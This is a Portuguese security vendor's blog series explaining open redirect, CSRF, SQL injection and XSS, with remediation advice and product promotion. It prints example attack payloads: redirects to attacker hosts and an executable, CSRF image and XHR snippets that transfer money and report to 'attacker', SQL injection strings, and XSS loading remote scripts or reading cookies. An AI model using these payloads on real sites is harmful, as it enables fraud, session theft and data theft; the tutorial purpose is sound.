Tecnologia da RedeSegura presente no quadrante mágico do Gartner

Entre os pontos fortes apontados no relatório estão as ferramentas de teste por análise de tráfego HTTP entre o browser e o servidor, que também testa a força das senhas; os recursos de testing-as-a-service; relatórios e a integração considerada out-of-the-box com diversos fornecedores de TI

A N-Stalker, especializada em segurança de aplicações web e responsável pelo desenvolvimento da plataforma RedeSegura, ingressa no Quadrante Mágico do Gartner Group para testes em aplicações Web como player de nicho por sua tecnologia, no relatório de julho de 2013. De acordo com o CTO da N-Stalker, Thiago Zaninotti, a criação do Quadrante Mágico para testes de aplicações Web mostra a importância desta tecnologia para a segurança corporativa. “O volume de aplicativos web cresce exponencialmente e o desenvolvimento e rápida disponibilização para atender aos requisitos do mercado acabam deixando muitas vulnerabilidades exploráveis, o que compromete a segurança”, completa.

 O foco da brasileira N-Stalker é a análise de segurança de aplicações web, com técnicas DAST – do inglês dynamic application security testing – com captura proxy; ferramentas de testes por análise de tráfego HTTP entre o browser e o servidor, que testa a força das senhas, permite descobrir servidores web e testar sua capacidade. Características avaliadas como pontos fortes pelos já conhecidos rigorosos critérios do Gartner para o relatório do Quadrante Mágico.

Outros pontos avaliados e considerados fortes pelo Gartner foram os recursos de testing-as-a-service, que segundo o relatório “A N-Stalker é um dos poucos fornecedores que oferece opções de DAST-as-a-service”. E os recursos de classe empresarial, como o RBAC – Role Base Access Control –, em seu console; relatórios e a integração considerada out-of-the-box com diversos fornecedores de tecnologia Web Application firewall – WAF.

A tecnologia N-Stalker foi patenteada pelo USPTO – United States Patent and Trademark Office, agência do Departamento de Comércio do Governo dos Estados Unidos, que reconheceu a metodologia inventada e desenvolvida por Zaninotti, como uma nova abordagem para avaliação de aplicações de segurança na Web.

Série Ataques: Saiba sobre os efeitos do redirecionamento arbitrário

O que são ataques de redirecionamento arbitrário de URL?

O redirecionamento ou encaminhamento é uma funcionalidade da aplicação em que o aplicativo de origem redireciona o acesso do usuário para outro localidade ou para alguma função dentro da própria aplicação. Um caso típico de utilização é o processo de autenticação: uma vez que o usuário tente acessar uma área restrita do aplicativo, ele automaticamente redireciona o cliente para o formulário de autenticação.

Em casos específicos, esta funcionalidade pode ser utilizada por um atacante para redirecionar um cliente legítimo para uma localidade arbitrária, transferindo, por exemplo, a confiança estabelecida pelo usuário do aplicativo legítimo para um sítio que contenha material malicioso.

O redirecionamento não representa uma vulnerabilidade de segurança direta, entretanto, ela pode ser explorada em ataques de phishing (engenharia social) fazendo o usuário acreditar que está em uma área de conteúdo legítimo e fornecendo credenciais ou dados sensíveis de maneira arbitrária. O ataque também pode ser utilizado de maneira extensiva para inflacionar sistemas de publicidade e remuneração por click.

Exemplo:

Um site vulnerável está encaminhando o usuário para uma localidade confiável (área de login):

http://www.vulneravel.com?redirect=http://www.vulneravel.com/login

Por não filtrar corretamente o tipo de parâmetro utilizado  na variável redirect, o aplicativo permite que um atacante construa um link para redirecionar o cliente legítimo para um sítio não confiável:

http://www.vulneravel.com?redirect=http://hacker.com/login

De posse deste link, o atacante só precisa convencer o usuário legítimo a carregá-lo em seu navegador ou, até mesmo, empregar técnicas de otimização para motores de busca (SEO) para que este link fique disponível caso um usuário faça uma busca pelo o sítio legítimo.

A partir desta chamada, o atacante pode empregar o mesmo estilo em um formulário falso para capturar as credenciais de acesso do usuário vítima e, então, redirecioná-lo novamente para o aplicativo legítimo.

Meu aplicativo está vulnerável ao ataque de URL Redirect/Forward ?

Por meio do exemplo acima, inferimos que a melhor forma de se descobrir se o seu aplicativo está vulnerável a este problema é testar todos os redirecionamentos existentes na interação com o usuário.

Navegue por toda a aplicação para verificar quais são as páginas que retornam códigos de redirecionamento (geralmente código de retorno 301 e 302) e teste a possibilidade de substituir parâmetros válidos por localizações externas e não relacionados ao seu aplicativo.

Para corrigir este problema, é sugerido que o seu aplicativo mantenha, se possível, uma lista das localidades permitidas e faça referência a elas por meio de códigos, evitando expor de maneira explícita a URL. Uma outra forma de tratar o problema é empregar criptografia ou hashing nos parâmetros de redirecionamento enviados, assegurando que o destino só poderia ser construído por meio de uma transação legítima dentro do sistema.

Qual o impacto e as principais consequências do ataque?

Os redirecionamentos arbitrários podem explorar essa vulnerabilidade para convencer o usuário a instalar malware ou programas que capturem senhas e outras informações confidenciais. Em situações específicas, podem ser utilizados também para pular controles de acesso.

Cenários:

  • A aplicação possue uma página chamada ‘redir.jsp’ que tem um parâmetro chamado ‘url’. O atacante usa uma URL maliciosa que redireciona os usuários para um site malicioso (utilizando phishing) e que pode instalar um malware (instala.exe).
http://www.exemplo.com/redir.jsp?url=atacante.com/instala.exe
  • Nesse outro exemplo, a aplicação usa um parâmetro para indicar para onde o usuário deve ser direcionado se uma transação for bem sucedida. O atacante pode modificar o tipo de localização para obter acessos a áreas restritas. Ex:
De: http://www.exemplo.com/correct.jsp?fwd=success.jsp
Para: http://www.exemplo.com/correct.jsp?fwd=admin.jsp
  • Os atacantes também pode melhorar o ataque de engenharia social ofuscando a URL redirecionada através de várias técnicas. Por exemplo, o URL abaixo mostra a mesma URL redirecionada, mas o ‘evil.com’ domínio foi convertido em seu equivalente hexadecimal.
http://www.exemplo.com/redir.jsp?url=http://%76%69%6c%2e%63%6f%6d/evil_page.html

Correção de códigos vulneráveis

Evitar as falhas de redirecionamento arbitrário é um ponto chave na gestão de vulnerabilidades e riscos de quaisquer aplicativos web, afinal, eles são um dos alvos prediletos dos fraudadores para ataques de engenharia social. As principais recomendações para mitigar os riscos são:

  • Tente evitar o uso de redirecionamentos e, se não for possivel, fazer por meio de variáveis de sessão sem a utilização de parâmetros HTTP;
  • Não informe a URL real no parâmetro, opte por um valor de referência que será traduzido do lado do servidor para a URL alvo;
  • Caso não seja possível utilizar as medidas anteriores, opte por utilizar criptografia ou hashing para os parâmetros de transporte do valor da URL.

OWASP Top 10 (A10)

O ataque de redirecionamento arbitrário de URL (Unvalidated Redirects and Forwards) é parte integrante da lista das 10 principais vulnerabilidades que afetam aplicativos web do OWASP. Para saber mais, veja a referência abaixo:

Como a Rede Segura pode te ajudar?

A RedeSegura possui uma solução completa para gestão de vulnerabilidades em aplicativos web, seja qual for o seu tipo de indústria e tamanho do seu aplicativo. Saiba mais detalhes sobre nossa metodologia:

Contate-nos ainda hoje para obter mais detalhes da nossa solução e como podemos ajudá-lo na missão de manter seus aplicativos web seguros.

Série Ataques: Saiba mais sobre os ataques Cross-Site Request Forgery (CSRF)

Sumário: Afinal, o que são ataques de Cross-Site Request Forgery (CSRF)?

O Cross-Site Request Forgery (CSRF) é uma classe de ataques que explora a relação de confiança entre um aplicativo  web e seu usuário legítimo. Para execução do CSRF, o usuário mal intencionado deve induzir o utilizador legítimo, seja por meio de engenharia social ou outros artifícios como cross-site scripting, a executar atividades arbitrárias no aplicativo, permitindo que virtualmente qualquer ação específica possa ser realizada no sistema sem o consentimento do usuário final.

A exploração do CSRF se dá por meio de aplicativos vulneráveis que não possuem controles específicos para garantir que todas as comunicações com o usuário legítimo sejam feitas dentro de um mesmo contexto, ou seja, utilizando um fluxo lógico de execução. Um bom exemplo seria a execução de uma transação de movimentação financeira de créditos para uma nova titularidade (usuário), sem que a tela para captura dos dados de origem e destino seja solicitada pelo usuário (vítima do ataque).

O alvo do atacante geralmente são as transações valiosas e mais comuns nos sistemas de aplicativos web, tais como:

  • Alteração de e-mail ou dados pessoais;
  • Alteração de senha de acesso;
  • Movimentações financeiras ou compras on-line.

Aplicações vulneráveis são exploradas basicamente por meio das seguintes etapas:

  1. O usuário se autentica ou está autenticado na aplicação alvo do ataque;
  2. O usuário recebe um link ou utiliza o mesmo navegador para acessar um aplicativo malicioso;
  3. O link ou aplicativo malicioso navegado inclui uma requisição à aplicação alvo, carregando todos os parâmetros necessários para a execução da transação.
  4. Como existe uma sessão autenticada válida para o usuário no aplicativo alvo, a aplicação recebe a requisição e executa a operação conforme a solicitação enviada;

Meu aplicativo está vulnerável ao ataque de CSRF?

Se o seu aplicativo permitir a execução de transações por meio da invocação de uma requisição estática, ou seja, utilizando os mesmos parâmetros ao longo do tempo, então possivelmente ela está vulnerável ao CSRF. Se o método utilizado do protocolo HTTP for GET, o risco é ainda maior.

Se você é capaz de salvar um formulário web do seu aplicativo no computador local, submetê-lo completamente fora de contexto e ainda obter uma resposta positiva da aplicação, as chances são grandes que você esteja vulnerável ao CSRF.

O problema está no fato do navegador incluir automaticamente em todas as solicitações para um mesmo aplicativo todas e quaisquer credenciais associadas a ele, seja um cookie de sessão do usuário, token e credenciais de autenticação, portanto, se o aplicativo não tiver condições de avaliar o fluxo de execução, não terá condições de distinguir a solicitação maliciosa da solicitação legítima.

Exemplo Prático

Para entender melhor esse processo vamos apresentar um exemplo prático de um ataque CSRF. No exemplo abaixo, Alice utiliza o sistema fictício do Bank.com e deseja realizar uma transferência de 100 reais para Beto na segunda-feira. O formulário de transferência pode ser traduzido de uma maneira bem superficial para a seguinte forma:

<form action="transfer.do" method="GET">
<input type="text" name="acct" value="BETO">
<input type="text" name="amount" value="100">
</form>

A requisição, de uma maneira genérica, será feita pelo método POST da seguinte forma:

GET /transfer.do?acct=BETO&amount=100 HTTP/1.1
Host: bank.com
(...)

Na terça-feira, ela resolve transferir 50 reais adicionais à conta de BETO. Novamente, a requisição que parte do navegador dela tem a seguinte característica:

GET /transfer.do?acct=BETO&amount=50 HTTP/1.1
Host: bank.com
(...)

Observando as requisições realizadas em momentos distintos, segunda e terça-feira, um atacante conclui que uma transação simples pode ser feita para sua conta se assumir o seguinte formato:

GET /transfer.do?acct=HACKER&amount=500 HTTP/1.1
Host: bank.com
(...)

Se ele conseguir levar Alice a requisitar esta solicitação à aplicação do Bank.com enquanto estiver autenticada, a transação será executada arbitrariamente, contudo, ainda que com o caráter legítimo.

Para explorar a vulnerabilidade, o atacante prepara um link específico para tirar vantagem desta transação:

http://bank.co/transfer.do?acct=HACKER&amount=500

Para camuflar seus verdadeiros objetivos, o atacante decide ainda utilizar um serviço encurtador de URL, transformando a URL do ataque em um link para o fictício serviço “urlcurta”:

http://urlcurta.br/yhdkadkw

Ao enviar esta informação para Alice e ludibriá-la a invocar a URL enquanto conectada ao seu Banco, o atacante estará executando transações de maneira arbitrariamente sob o nome de Alice, efetivamente transferindo 500 reais da conta dela para sua conta.

Outros exemplos

Dentro desta mesma aplicação vulnerável, o atacante poderia escolher fazer referência a esta URL dentro de um outro aplicativo terceiro e convidar Alice a visitá-lo. Uma abordagem simples poderia ser o uso da tag HTML anchor (<a>) para criar um link de acesso no corpo do aplicativo ou de um e-mail enviado para Alice, conforme exemplo abaixo:

<a href="http://bank.co/transfer.do?acct=HACKER&amount=100000">Veja minhas fotos!</a>

Para sofisticar o ataque, o atacante poderia ainda esconder a requisição dentro de uma referência de imagem em um aplicativo HTML qualquer e convidá-la a visitar:

<img src="http://bank.co/transfer.do?acct=HACKER&amount=100000" width="1" height="1" border="0">

Alice não irá notar e o navegador irá submeter a solicitação ao bank.co sem qualquer indicação visual de que a transferência foi executada. Se Alice estiver autenticada na aplicação do banco, a transação será concluída com sucesso.

Abaixo uma lista das formas mais comuns que o atacante pode utilizar para explorar o CSRF em aplicativos vulneráveis:

  • Por meio de tags HTML
    • Uso de IMG SRC <img src=”http://host/?command”>
    • Uso de SCRIPT SRC <script src=”http://host/?command”>
    • Uso de IFRAME SRC <iframe src=”http://host/?command”>
  • Por meio de código javascript
    • ‘Image’ Object: <script> var foo = new Image(); foo.src = “http://host/?command”; </script>
    • Por meio de objeto XmlHttpRequest (XMLHTTP). Note que em razão das restrições de segurança (Cross-domain restriction), o pedido via XmlHttpRequest só pode ser realizado no mesmo domínio do script. Contudo, este ataque pode ser explorado em combinação com o Cross-site scripting em um aplicativo duplamente vulnerável.

Exemplos da exploração do CSRF por meio de injeção de javascript em um aplicativo vulnerável:

  • Para Internet Explorer:
<script>
 var post_data = 'name=value';
 var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
 xmlhttp.open("GET", 'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
 xmlhttp.onreadystatechange = function () {
 if (xmlhttp.readyState == 4)
 {
var receipt = new Image(); 
receipt.src = "http://attacker/attackResult.do?result=true";
}
};
xmlhttp.send(post_data);
</script>
  • Para navegadores do tipo Mozilla
<script>
 var post_data = 'name=value';
 var xmlhttp=new XMLHttpRequest();
 xmlhttp.open("GET", 'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
 xmlhttp.onreadystatechange = function () {
 if (xmlhttp.readyState == 4)
 {
var receipt = new Image(); 
receipt.src = "http://attacker/attackResult.do?result=true";
 }
 };
 xmlhttp.send(post_data);
 </script>

Sofisticação do ataque via Flash (SWF)

Objetos do tipo SWF (Flash) também pode ser utilizados para realizar solicitações de maneira assíncrona no navegador do usuário. Esta característica aliada à possibilidade de utilizar a política de Cross-Domain da Adobe (via arquivo crossdomain.xml), pode permitir que um atacante embuta um arquivo SWF para realizar a mesma solicitação ao Bank.co, se este permitir que objetos Flash de outros domínios se comuniquem com ele.

Para verificar a política atual, o atacante deve solicitar o arquivo http://bank.co/crossdomain.xml e verificar a ocorrência de algo similar a:

<allow-access-from domain="*" />

Qual o impacto e as principais consequências do ataque?

A principal consequência deste ataque é não ter a certeza se o usuário teve ou não a intenção de realizar as ações específicas no sistema e, desta forma, permitir que usuários mal intencionados explorem a relação de confiança para atacar o seu usuário final.

Existem inúmeros casos notórios como em Janeiro de 2007, quando uma vulnerabilidade no GMAIL permitiu que um atacante roubasse a lista de contatos do usuário vítima, ou da  Netflix, empresa de aluguel de filmes online, que permitiu ao atacante alterar o nome e o endereço da conta e adicionar filmes na lista para aluguel.

Correção de códigos vulneráveis

Uma solução comum adotada pelos desenvolvedores contra o CSRF é o Synchronizer Token Pattern, que gera um token de “desafio” aleatório associado com a sessão atual do usuário. Esses tokens são inseridos nos formulários HTML, links associados com operações sensiveis e incluídas nas solicitações HTTP quando enviadas para o  aplicativo web.

Quando o usuário gera uma solicitação por meio de um formulário, um campo “input” do tipo “hidden” deverá conter o token de proteção CSRF. Toda vez que uma transação sensível for executada, o aplicativo irá comparar o token enviado com o valor armazenado em sessão. Caso positivo, a transação será realizada e um novo token gerado de maneira aleatório. Em caso negativo, o aplicativo deverá recusar a execução da transação.

Exemplos

Algumas linguagens como Java já possuem funções específicas (via java.security.SecureRandom) para geração de token longo e aleatório. A clase  é usado em aplicações Java para gerar um token longo e aleatório. No caso do aplicativo do Bank.co, este valor aleatório seria colocado para complementar o formulário:

<form action="/transfer.do" method="get">
<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTViMGYwMGEwOA==">
…
</form>

Desta forma, o pedido seria realizado de maneira única a cada vez que fosse executado.

Viewstate (ASP.NET)

Viewstate pode ser usado como uma defesa CSRF, uma vez que é difícil para um atacante para forjar valores válidos por meio de predição. O ViewState indica o status de uma página quando enviada para o servidor, esse status é definido através de um campo oculto colocado em cada página com um controle <form runat=”server”>. Lembre-se que é importante implementar controles criptográficos no ViewState para garantir que ele não poderá ser manipulado por um usuário mal intencionado. Exemplo:

protected override OnInit(EventArgs e) {
base.OnInit(e);
if (User.Identity.IsAuthenticated)
ViewStateUserKey = Session.SessionID; }

Neste caso específico, o código deverá ser aplicado em Page_Init porque a chave tem de ser fornecida ao ASP.NET antes do Viewstate ser carregado.

Frameworks de Prevenção

Exemplo de vídeos de ataque

  • How Do I: Prevent a Cross Site Request Forgery Security Flaw in an ASP.NET Application?

Como a Rede Segura pode te ajudar?

A RedeSegura possui uma solução completa para gestão de vulnerabilidades em aplicativos web, seja qual for o seu tipo de indústria e tamanho do seu aplicativo. Saiba mais detalhes sobre nossa metodologia:

Contate-nos ainda hoje para obter mais detalhes da nossa solução e como podemos ajudá-lo na missão de manter seus aplicativos web seguros.

 

 

Série Ataques: Saiba mais sobre os ataques de Injeção de SQL

Sumário: Afinal, o que são ataques de injeção de SQL?

Hoje em dia a maioria das aplicações web corporativas utilizam banco de dados relacionais para  manter dados da empresa e de seus clientes, incluindo informações sensíveis como:

  • Credenciais de acesso e informações pessoais;
  • Catálogo de produtos e serviços;
  • Pedidos, extratos de conta e informações sobre pagamento;
  • Lista de clientes e contatos de fornecedores.

O formato utilizado pela maioria dos aplicativos web para acesso a estes bancos de dados é uma linguagem de consulta desenvolvida nos anos 70 pelos laboratórios da IBM, a linguagem estruturada de consulta ou, structured query language, conhecida pelo acrônimo SQL. Normalmente, os aplicativos incorporam dados fornecidos pelo usuário à linguagem SQL, com o objetivo de construir interações específicas à funcionalidades do sistema e o seu banco de dados.

Se as instruções forem formuladas de maneira insegura, permitindo que o usuário modifique a estrutura geral do pedido de consulta, o aplicativo pode ser vulnerável ao que comumente chamamos de injeção de SQL (SQL injection), ou seja, uma falha que permite que um usuário mal intencionado reprograme a comunicação entre o aplicativo e o banco de dados e, desta forma, obtenha como resultado a manipulação ou extração arbitrária de dados.

Da forma como os aplicativos web se sustentam de maneira exclusiva aos bancos de dados, este tipo de vulnerabilidade pode produzir reflexos em todo o sistema corporativo, facilitando o roubo de credenciais de acesso e informações confidenciais, modificação de processos vitais e até mesmo o comprometimento da operação de negócios.

Tecnicamente, o ataque explora a sintaxe do interpretador do banco de dados SQL, independente da tecnologia, e é normalmente encontrado em todos os tipos de aplicações desenvolvidas para web.

Algumas linguagens de programação como PHP e ASP são mais suscetíveis a este tipo de ataque, contudo, isso não significa que outras linguagens e arcabouços também não possam ser explorados igualmente.

Meu aplicativo está vulnerável ao ataque de SQL Injection ?

Para entender melhor se o seu aplicativo está vulnerável às falhas de injeção SQL, vamos seguir descrevendo a maneira como uma aplicação pode ser explorada a partir da utilização de uma interação com um código que esteja aparentemente funcionado corretamente.

Um atacante inicia seu “trabalho” a partir da análise de alguns pontos específicos do aplicativo:

  • Realização inspeção nos formulários e pontos de entrada de dados do aplicativo que aparentemente não estejam filtrando o uso de meta-caracteres (códigos de erro e mensagem de falha);
  • Realiza testes para construção de pedidos SQL de maneira a contornar eventuais mecanismos de proteção de uso de meta-caracteres;
  • Combina o ataque com a utilização de stored procedures para esconder a injeção de meta-caracters;

Exemplo de ataque:

Inicialmente usaremos uma consulta abaixo para exemplificar a vulnerabilidade. Quando um usuário utiliza o campo de pesquisa para procurar por todos os livros do editor CRAFT, a aplicação executa a seguinte consulta no banco :

SELECT autor, titulo, ano FROM livros WHERE editor = ‘CRAFT’ AND 
publicado=1

Essa consulta obriga o banco de dados verificar cada linha dentro da tabela livros, extrair cada registro em que a coluna editor tenha o conteúdo CRAFT e publicado com o valor 1, e ao término, retornar o conjunto de todos esses registros, publicando o resultado em uma página HTML. Agora o usuário quer fazer uma busca por todos os livros produzidos pela L’CRAFT, isso faz a aplicação executar a seguinte consulta:

 SELECT autor, titulo, ano FROM livros WHERE editor = ‘L'CRAFT’ and publicado=1

O interpretador executa a consulta analisando o que está dentro de aspas simpes, e obtem o valor L, em seguida ele encontra a expressão CRAFT que não é uma sintaxe SQL válida e acaba gerando um erro:

Incorrect syntax near 'CRAFT'.
Server: Msg 105, Level 15, State 1, Line 1
Unclosed quotation mark before the character string '

Esta mensagem de erro indica que a aplicação produziu um comportamento inesperado, ou seja, a estrutura geral do pedido de consulta ao banco de dados, que antes produzia resultados corretos, foi alterada de maneira arbitrária e não pode ser concluída com sucesso.

Se o atacante puder realizar modificações estruturais ao pedido de consulta ao banco de dados para permitir a reprogramação de suas funcionalidades inicial, o aplicativo está vulnerável à injeção de SQL. Um exemplo seria modificar a pesquisa para listar todos os livros disponíveis através do seguinte termo:

CRAFT' OR 1=1--

Portanto, este pedido seria executado desta maneira no banco de dados:

SELECT autor, titulo, ano FROM livros WHERE editor = ‘CRAFT’ OR 1=1--’ and publicado =1

A condição CRAFT’ OR 1=1– faz com que a cláusula WHERE sempre seja avaliado como verdadeiro e ignora o restante da consulta, essa consulta permite ao invasor ignorar a exigência de que a consulta retorne apenas itens de propriedade do usuário autenticado, o banco de dados verifica cada linha na tabela e extrai cada registro onde a coluna publisher tem o valor “CRAFT” ou onde 1 é igual a 1, fazendo com que a consulta agora retorne para aplicação todas as entradas armazenadas na tabela, independentemente do seu proprietário.

A utilização de meta-caracteres que sejam interpretados como comentários, como é o caso da sequência “–“, é frequentemente empregada nos ataques de injeção SQL, pois permite que você ignore o restante da consulta criado pelo desenvolvedor do aplicativo.

Uma forma alternativa é a utilização de aspas sem usar o símbolo de comentário e terminar a injeção inserindo o termo de pesquisa:

CRAFT' OR 'a' = 'a

O resultado produzido seria:

SELECT autor, titulo, ano FROM livros WHERE editor = ‘CRAFT’ OR 'a'='a and publicado=1

Isto é perfeitamente válido e atinge o mesmo resultado que o ataque 1 = 1  que retorna todos os livros  escritos pelo CRAFT.

Sofisticando o ataque

Para coletar informação o atacante pode extrair a versão do banco de dados, que pode ser feito em qualquer DBMS, pode-se extrair a versão do banco de dados injetando a seguinte consulta no MS-SQL e MySQL:

' UNION SELECT @@version,NULL,NULL--

Qual o impacto e as principais consequências do ataque?

Os exemplos acima mostram como um atacante pode contornar a lógica da aplicação e acessar todos os dados do banco, por essa razão, deve ser considerado um ataque de severidade alta. O impacto causado por um ataque bem sucedido de injeção de SQL pode acarretar sérios problemas como:

  • Exposição de dados sensíveis do banco de dados;
  • Exposição da base de dados da empresa para concorrentes;
  • Modificação da base de dados(Insert/Update/Delete);
  • Ganhar acesso arbitrário ao sistema operacional;
  • Ganhar acesso arbitrário à rede;

De maneira prática, as principais consequências constatadas pelos ataques mais recentes de injeção de SQL estão relacionados à reputação da empresa em meio a exposição pela mídia dos acessos não autorizados a dados internos e no valor dos dados afetados, roubados, modificados ou apagados.

Correção de códigos vulneráveis

Uma abordagem tradicional para a prevenção de ataques de injeção é lidar com eles como um problema de validação de entrada e aceitar apenas caracteres (whitelist) de valores seguros ou identificar e escapar (blacklist) de valores potencialmente maliciosos.

Opte sempre por instruções SQL parametrizadas, exigem menos manutenção e pode oferecer mais garantias no que diz respeito à segurança, contramedidas, tais como limitações de privilégio para o servidor de banco de dados e assim por diante. Outros pontos para se verificar são:

  • Inspecionar todos os pontos de entrada para não permitir o uso de meta-caracteres;
  • Caso necessite utilizar meta-caracteres, utilize de mecanismos para protegê-los de maneira correta. Existem diversas funções que realizam o procedimento de escapar caracteres para evitar que eles sejam interpretados de maneira não apropriada pelo aplicativo web.
  • Utilize, quando possível, funções específicas de banco como stored procedures, que apesar de também serem vulneráveis à ataques de injeção de SQL possuem a condição de evitar exposição exagerada da lógica da aplicação e limitar os tipos de parâmetros recebidos do usuário.

Stored procedures podem prevenir alguns tipos de injeção SQL, contudo, não é uma solução definitiva para o problema. Por exemplo, o seguinte trecho de um stored procedure é vulnerável ataque de injeção de SQL:

procedure get_item (
 itm_cv IN OUT ItmCurTyp,
 usr in varchar2,
 itm in varchar2)
 is
 open itm_cv for ' SELECT * FROM items WHERE ' ||
 'owner = '''|| usr ||
 ' AND itemname = ''' || itm || '''';
 end get_item;

Geralmente problemas de injeção de SQL podem ser detectadas de maneira mais eficiente por um profissional de segurança da informação, entretanto, esta atividade também pode ser automatizada por meio de ferramentas que realizem a análise do código-fonte (whitebox) e daquelas que analisam a interface em tempo de execução (blackbox), tais como o N-Stalker.

Exemplo de vídeos de ataque

  • SQL Injection Explained

  • WordPress under SQL Injection Attack!

Como a RedeSegura pode te ajudar?

A RedeSegura possui uma solução completa para gestão de vulnerabilidades em aplicativos web, seja qual for o seu tipo de indústria e tamanho do seu aplicativo. Saiba mais detalhes sobre nossa metodologia:

Contate-nos ainda hoje para obter mais detalhes da nossa solução e como podemos ajudá-lo na missão de manter seus aplicativos web seguros.

 

Série Ataques: Saiba mais sobre o Cross-Site Scripting (XSS)

Os Ataques nos aplicativos web é um série de artigos sobre classes de vulnerabilidades que afetam aplicativos web escritos em conjunto com a N-Stalker.

Sumário: Afinal, o que é o Cross-site Scripting?

O ataque de Cross-site scripting (XSS) consiste em uma vulnerabilidade causada pela falha nas validações dos parâmetros de entrada do usuário e resposta do servidor na aplicação web. Este ataque permite que código HTML seja inserido de maneira arbitrária no navegador do usuário alvo.

Tecnicamente, este problema ocorre quando um parâmetro de entrada do usuário é apresentado integralmente pelo navegador, como no caso de um código javascript que passa a ser interpretado como parte da aplicação legítima e com acesso a todas as entidades do documento (DOM). Na prática, o responsável pelo ataque executar instruções no navegador da vítima usando um aplicativo web vulnerável, modificar estruturas do documento HTML e até mesmo utilizar o golpe para perpetrar fraudes como phishing.

Um bom exemplo é uma aplicação como um fórum, em que o usuário tenha permissão para incluir mensagens de sua própria autoria para que os outros usuários possam ler. Se este aplicativo não filtrar corretamente os códigos HTML, um usuário mal intencionado pode injetar instruções para leitura de informações específicas do usuário legítimo, tais como códigos de sessão, e até mesmo executar tarefas específicas como enviar mensagens de maneira arbitrária para o fórum.

Tipos conhecidos de XSS

  • Persistente (Stored)

Neste caso específico, o código malicioso pode ser permanentemente armazenado no servidor web/aplicação, como em um banco de dados, fórum, campo de comentários etc. O usuário torna-se vítima ao acessar a área afetada pelo armazenamento do código mal intencionado.

Esse tipo de XSS são geralmente mais significativos do que outros, uma vez que um usuário mal intencionado pode potencialmente atingir um grande número usuários apenas com uma ação específica e facilitar o processo de engenharia social. Em alguns casos, o navegador afetado pode até mesmo se comportar como se estivesse infectado por um worm, replicando cópias para cada usuário que execute o código mal intencionado.

Exemplo de XSS persistente:

Vamos supor que exista uma aplicação web que permita a inserção de código HTML integralmente nos campos de entrada do nome e sobrenome no formulário para atualização das preferências do usuário:

<script>alert(document.cookie)</script>

Desta forma, quando for executada uma busca pelos usuários cadastrados, o código HTML acima será executado assim que o usuário aparecer na relação dos resultados da busca.

Variações deste ataque podem ser utilizadas para permitir que o usuário mal intencionado modifique o código arbitrário de acordo com o tipo de requisição ou cliente infectado, utilizando, por exemplo, uma referência a um script remoto:

<A HREF="http://confiavel.org.br/busca.cgi?CC=<SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT>"> Vá para Confiável.org.br</A>

Neste exemplo, o site confiável não possui filtros apropriados para proteger-se da inserção do código HTML que faz referência ao script malicioso:

echo ‘<h1>Seu termo de busca é : ’ + getParameter(‘CC’) + ‘</h1>’;

O código HTML executado no navegador do usuário alvo resultaria na carga arbitrária de um script estranho à aplicação e contendo quaisquer tipos de instruções que o usuário mal intencionado deseje:

<h1>Seu termo de busca é <SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT></h1>
  • Refletido (Reflected)

A exploração dessa vulnerabilidade envolve a elaboração de uma solicitação com código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. O código HTML inserido é entregue para aplicação e devolvido como parte integrante do código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador do próprio usuário.

Este ataque geralmente é executado por meio de engenharia social, convencendo o usuário alvo que a requisição a ser realizada é legítima. As consequencias variam de acordo com a natureza da vulnerabilidade, podendo variar do sequestro de sessões válidas no sistema, roubo de credenciais ou realização de atividades arbitrárias em nome do usuário afetado.

Exemplo de XSS refletido:

Tome-se como exemplo um aplicativo web que receba um parâmetro “nome” contendo a identificação do usuário legítimo e apresente o conteúdo sem quaisquer filtros:

http://www.vul.site/welcome.html?name=fulano
echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';

Considere que um usuário mal intecionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo:

http://www.example.com/welcome.html?name=<script>alert(document.cookie)</script>

Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.

Outros exemplos de ataque podem incluir a substituição de todos os links válidos do aplicativo web pode um referência a um arquivo executável contendo um vírus ou um cavalo de tróia:

http://www.example.com/welcome.html?name=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

Efeito do ataque:

Este tipo de ataque responde por aproximadamente 75% das vulnerabilidades de XSS que afetam aplicativos web na Internet.

  • Baseados no DOM (DOM based)

O Document object Model (DOM) é o padrão utilizado para interpretar o código HTML em objetos a serem executados pelos navegadores web. O ataque de XSS baseado no DOM permite a modificação de propriedades destes objetos diretamente no navegador do usuário alvo, não dependendo de nenhum interação por parte do servidor que hospeda o aplicativo web.

Diferentemente do ataque de XSS persistente ou refletido, o ataque baseado em DOM não necessita de interações diretas com o aplicativo web e utiliza-se de vulnerabilidades existentes na interpretação do código HTML no ambiente do navegador do usuário alvo.

Exemplo de XSS baseado em DOM:

Tome-se como exemplo um aplicativo que contém um javascript que escolhe o tipo de estilo a ser utilizado de acordo com o parâmetro passado pelo usuário:

<script>
var estilo = ‘style’ + location.hash + ‘.css’;
document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);
</script>

Agora tome-se como exemplo um link construído de maneira a carregar um código arbitrário, conforme exemplo abaixo:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

Quando executado no navegador do usuário, a referência acima será utilizada para inserir um script mal intencionado no contexto do aplicativo web, sem o conhecimento do aplicativo web afetado (pelo lado do servidor).

Qual o impacto e as principais consequências do ataque?

Os ataques de XSS são frequentemente utilizados para causar danos aos usuários legítimos de um aplicativo vulnerável. Para a corporação, o impacto da vulnerabilidade de XSS é principalmente sua imagem e a possibilidade de utilização da falha para a distribuição de phishing e facilitação de fraudes.

Dentre as principais consequências para o usuário afetado, incluem:

    • Seqüestro de sessão de usuários;
    • Alteração do código HTML do aplicativo (visivel somente do lado do cliente);
    • Redirecionar o usuário para sites maliciosos;
    • Alteração do objeto DOM para captura de dados ou envio de malware.

Como evitar ataques de XSS?

